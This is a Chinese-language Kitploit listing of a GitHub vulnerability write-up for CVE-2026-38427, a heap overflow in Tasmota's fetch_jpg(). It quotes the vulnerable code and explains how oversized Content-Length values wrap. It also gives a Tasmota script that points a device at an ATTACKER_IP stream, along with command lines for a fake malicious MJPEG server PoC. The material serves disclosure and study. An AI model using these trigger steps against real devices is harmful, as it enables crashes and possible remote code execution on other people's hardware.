Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sermikr0/cve-2026-38427
嵌入式系统安全物联网安全漏洞分析漏洞利用渗透测试硬件与物联网安全二进制利用
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Tasmota fetch_jpg() uint16_t 中的整数回绕导致堆缓冲区溢出(Tasmota <= 15.3.0.3)

查看仓库
33个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-38427:Tasmota fetch_jpg() 中的整数回绕导致堆缓冲区溢出

CVE: CVE-2026-38427
严重性: 严重 (CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg() — case 2 (MJPEG 帧获取)
作者: Saidakbarxon Maxsudxonov
披露: 负责任的披露——发布前已报告给 Tasmota


总结

Tasmota 脚本驱动中的 fetch_jpg() 函数存在 uint16_t 整数回绕漏洞。当 Tasmota 设备从攻击者控制的服务器获取 MJPEG 帧时,Content-Length 标头值通过 atoi() 读入一个 uint16_t 变量。大于 65535 的值会静默回绕(例如,65537 → 1),导致分配的堆缓冲区尺寸严重偏小。设备随后只从流中读取回绕后的字节数,剩余的字节残留在流缓冲区中,造成堆/流状态损坏,进而导致崩溃 (DoS) 或潜在的远程代码执行。


漏洞代码

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: 获取下一个 MJPEG 帧
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // 读取 "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() 返回 int 70000
                            // 隐式截断:uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — 太小!
if (buff) {
    stream.readBytes(buff, size);                  // 只读取 4464 字节
                                                   // 剩余的 65536 字节留在流中 → 损坏
}

整数回绕表


攻击场景

能够使 Tasmota 设备连接到其 HTTP 服务器(通过恶意的 Tasmota 脚本或中间人攻击)的攻击者,可以发送 Content-Length 值超过 65535 的 MJPEG 帧。设备将:

  1. 分配一个小的缓冲区(回绕后的值)
  2. 仅读取一小部分数据
  3. 剩余字节破坏 HTTP/WiFi 流状态
  4. 崩溃或表现未定义行为,可能导致 RCE

通过 Tasmota 脚本触发:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

概念验证 (PoC)

该 PoC 运行一个伪造的 MJPEG HTTP 服务器,发送带有恶意 Content-Length 值的帧:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

完整实现见 CVE-2026-38427_poc.py。


影响

  • 机密性: 高 (ESP32 上可能实现 RCE)
  • 完整性: 高
  • 可用性: 高 (确保崩溃/重启)
  • 攻击向量: 网络
  • 认证: 无需认证(设备必须通过脚本连接到攻击者服务器)

时间线

  • 2026-03-29: 发现漏洞并报告给 MITRE
  • 2026-03-29: 分配 CVE-2026-38427
  • 2026-05-xx: Tasmota 发布补丁 (v15.3.0.4+)

参考

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
下载工具
Content-Length (标头)uint16_t 值分配的缓冲区未读取的字节数
6553600 (已跳过)65536
6553711 字节65536
7000044644464 字节65536
13107200 (已跳过)131072